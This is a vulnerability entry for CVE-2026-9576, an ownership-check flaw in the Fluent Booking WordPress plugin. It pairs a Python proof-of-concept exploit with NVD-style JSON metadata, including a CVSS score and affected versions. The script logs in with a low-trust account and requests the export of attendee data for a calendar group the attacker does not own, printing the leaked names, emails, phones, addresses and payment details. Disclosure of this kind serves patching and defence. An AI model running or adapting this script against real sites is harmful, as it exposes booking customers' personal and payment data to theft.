CVE-2026-9576

# CVE-2026-9576 PoC - Fluent Booking IDOR Vulnerability # Exploits missing ownership verification on export endpoint import requests # Configuration TARGET_URL = "https://target-wordpress-site.com" USERNAME = "attacker_username" PASSWORD = "attacker_password" VICTIM_GROUP_ID = 123 # ID of a calendar group not owned by the attacker # Step 1: Authenticate to WordPress session = requests.Session() # Get login page to retrieve nonce login_page = session.get(f"{TARGET_URL}/wp-login.php") # Perform login (simplified - actual implementation needs nonce extraction) login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Get WordPress nonce for AJAX requests admin_page = session.get(f"{TARGET_URL}/wp-admin/admin-ajax.php") # Extract nonce from page source (implementation depends on site structure) # Step 3: Exploit IDOR - Export attendees from victim's calendar group export_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { "action": "fluent_booking_export_attendees", # Action name may vary "group_id": VICTIM_GROUP_ID, # IDOR: No ownership check on this parameter "_wpnonce": "extracted_nonce_here" } response = session.post(export_endpoint, data=exploit_data) if response.status_code == 200: print("[+] Exploit successful! Attendee data leaked:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) # Alternative: REST API approach # rest_endpoint = f"{TARGET_URL}/wp-json/fluent-booking/v1/groups/{VICTIM_GROUP_ID}/export" # response = session.get(rest_endpoint, headers={"X-WP-Nonce": "nonce_here"})

{"cve": {"id": "CVE-2026-9576", "sourceIdentifier": "[email protected]", "published": "2026-06-30T07:16:32.867", "lastModified": "2026-06-30T14:14:35.520", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fluent Booking WordPress plugin before 2.1.2 does not verify ownership of the requested group_id before exporting attendee data via the export endpoint, allowing users with at least the Calendar Manager role to retrieve attendees' PII (name, email, phone, address, payment information) from calendar groups they do not own."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unknown", "product": "Fluent Booking", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "2.1.2", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-30T12:55:55.664630Z", "id": "CVE-2026-9576", "options": [{"exploitation": "poc"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "references": [{"url": "https://wpscan.com/vulnerability/f28759e0-f15e-4014-b0d1-8b58bf412b49/", "source": "[email protected]"}]}}